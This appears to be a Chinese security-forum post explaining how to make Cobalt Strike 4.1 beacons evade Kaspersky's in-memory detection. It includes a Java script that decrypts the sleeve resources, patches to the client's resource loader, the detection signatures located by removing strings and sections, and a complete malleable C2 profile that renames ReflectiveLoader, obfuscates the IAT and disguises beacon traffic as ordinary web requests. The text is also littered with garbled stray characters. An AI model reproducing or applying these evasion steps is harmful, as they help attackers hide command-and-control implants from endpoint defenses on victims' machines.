1.起始
在使用cobalt strike 的過(guò)程中歌馍,卡巴斯基對(duì)默認(rèn)cs 4.1版本生成的beacon進(jìn)行瘋狂的內(nèi)存查殺,特征多達(dá)6個(gè)。本次采用手動(dòng)定位法確認(rèn)特征豆巨,并通過(guò)修改配置達(dá)到內(nèi)存免殺效果。
2.解密
從cs4.x開(kāi)始掐场,對(duì)beacon等資源進(jìn)行了加密往扔,需要解密后才能獲得原始dll贩猎,為了更快測(cè)試修改后的dll,對(duì)cs的加載資源代碼進(jìn)行修改萍膛,讓其可以直接加載未經(jīng)加密的beacon.dll(感謝WBGII的解密腳本)
cs的資源放在sleeve文件夾內(nèi),cs的功能代碼為beacon.dll /beacon.x64.dll吭服,是內(nèi)存查殺重點(diǎn)關(guān)注的對(duì)象
cs讀取資源代碼如下
對(duì)資源進(jìn)行解密
//Author: WBGII
packagecsdecrypt;
importcommon.SleevedResource;
importjava.io.*;
publicclassMain{
publicstaticvoidsaveFile(Stringfilename,byte[]data)throwsException{
if(data!=null){
Stringfilepath=filename;
Filefile=newFile(filepath);
if(file.exists()){
file.delete();
}
FileOutputStreamfos=newFileOutputStream(file);
fos.write(data,0,data.length);
fos.flush();
fos.close();
}
}
publicstaticbyte[]toByteArray(Filef)throwsIOException{
ByteArrayOutputStreambos=newByteArrayOutputStream((int)f.length());
BufferedInputStreamin=null;
try{
in=newBufferedInputStream(newFileInputStream(f));
intbuf_size=1024;
byte[]buffer=newbyte[buf_size];
intlen=0;
while(-1!=(len=in.read(buffer,0,buf_size))){
bos.write(buffer,0,len);
}
returnbos.toByteArray();
}catch(IOExceptione){
e.printStackTrace();
throwe;
}finally{
try{
in.close();
}catch(IOExceptione){
e.printStackTrace();
}
bos.close();
}
}
publicstaticvoidmain(String[]var0)throwsException{
byte[]csdecrypt=newbyte[]{1,-55,-61,127,102,0,0,0,100,1,0,27,-27,-66,82,-58,37,92,51,85,-114,-118,28,-74,103,-53,6};
SleevedResource.Setup(csdecrypt);
byte[]var7=null;
Filefile=newFile("sleeve");
File[]fs=file.listFiles();
for(Fileff:fs){
if(!ff.isDirectory())
var7=SleevedResource.readResource(ff.getPath());
saveFile("sleevedecrypt\\"+ff.getName(),var7);
System.out.println("解密成功:"+ff.getName());
}
}
}
解密后對(duì)cs的代碼進(jìn)行修改,讓其直接可以加載為無(wú)加密的資源(資源替換sleeve文件夾)
/common/SleevedResource.class
去掉解密過(guò)程蝗罗,讓其直接讀取字節(jié)數(shù)組后返回艇棕,使用javac編譯,替換原有的class
3.測(cè)試
將解密后的beacon.dll載入內(nèi)存串塑,使用KAP查殺沼琉,發(fā)現(xiàn)其并無(wú)Cobalt.gen報(bào)毒,但是修補(bǔ)后的payload存在報(bào)毒桩匪,遂懷疑為cs生成payload的過(guò)程中往里面加了東西導(dǎo)致該特征出現(xiàn)打瘪。
使用Beyond Compare比對(duì)原始dll和生成后的payload,發(fā)現(xiàn)生成后的payload多出很多字符串
對(duì)這些多出的字符串進(jìn)行刪除傻昙,發(fā)現(xiàn)少了三個(gè)報(bào)毒闺骚,斷定其是Cobalt.gen報(bào)毒的原因,發(fā)現(xiàn)默認(rèn)的c2 profile中會(huì)添加這些垃圾字符串屋匕,并沒(méi)啥用(坑人)葛碧,直接刪除
刪除后,將payload載入过吻,發(fā)現(xiàn)卡巴不報(bào)Cobalt.gen进泼。前三個(gè)特征處理完畢。
4.最后兩個(gè)
后續(xù)兩個(gè)報(bào)毒如下:
MEM:Trojan.Win32.Cometer.gen
MEM:Trojan.Win32.SEPEH.gen
使用排列組合對(duì)區(qū)段進(jìn)行清除以排查纤虽,清除rdata和data后發(fā)現(xiàn)載入內(nèi)存后不殺乳绕。
發(fā)現(xiàn)rdata中出現(xiàn)敏感字符串ReflectiveLoader,遂修改逼纸,過(guò)了Cometer.gen
transform-x86{
strrep"ReflectiveLoader""misakaloader";
}
修改前:
修改后:
繼續(xù)排查洋措,單獨(dú)提取rdata區(qū)段載入內(nèi)存,發(fā)現(xiàn)其報(bào)毒SEPEH杰刽,就此確認(rèn)這個(gè)查殺點(diǎn)位于此處菠发。使用工具對(duì)其他字符清除,發(fā)現(xiàn)其繼續(xù)報(bào)毒贺嫂。為啟發(fā)式查殺滓鸠。隨后在rdata區(qū)域發(fā)現(xiàn)如下內(nèi)容
根據(jù)經(jīng)驗(yàn)猜測(cè)修改Sleep,載入后發(fā)現(xiàn)KAP不查殺了第喳,看來(lái)最后一個(gè)特征就是這里了糜俗。發(fā)現(xiàn)這里是IAT,準(zhǔn)備想辦法自行加密IAT。咨詢WBGII大佬后悠抹,知曉c2 profile可以開(kāi)啟加密混淆IAT珠月,遂使用配置 set obfuscate "true"; 成功bypass最后一個(gè)報(bào)毒。
手動(dòng)掃描內(nèi)存
5.提示
由于分階段的payload存在其他特征楔敌,請(qǐng)不要使用啤挎。生成stageless payload自行接管遠(yuǎn)程加載
https://wbglil.gitbook.io/cobalt-strike/
再次鳴謝WBGII大佬的配置幫助
最后附上c2 profile 文件
# default sleep time is 60s
set sleeptime "10000";
# jitter factor 0-99% [randomize callback times]
set jitter? ? "0";
# maximum number of bytes to send in a DNS A record request
set maxdns? ? "255";
# indicate that this is the default Beacon profile
set sample_name "001";
stage {
set stomppe "true";
set obfuscate "true";
set cleanup "true";
transform-x86 {
strrep "ReflectiveLoader" "misakaloader";
}
transform-x64 {
strrep "ReflectiveLoader" "misakaloader";
}
}
# define indicators for an HTTP GET
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";
}
}
server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
# define indicators for an HTTP POST
http-post {
# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
set uri "/submit.php";
client {
header "Content-Type" "application/octet-stream";
# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";
}
# post our output with no real changes
output {
print;
}
}
# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";
# this will just print an empty string, meh...
output {
print;
}
}
}
??????????????????????????????來(lái)源:先知社區(qū)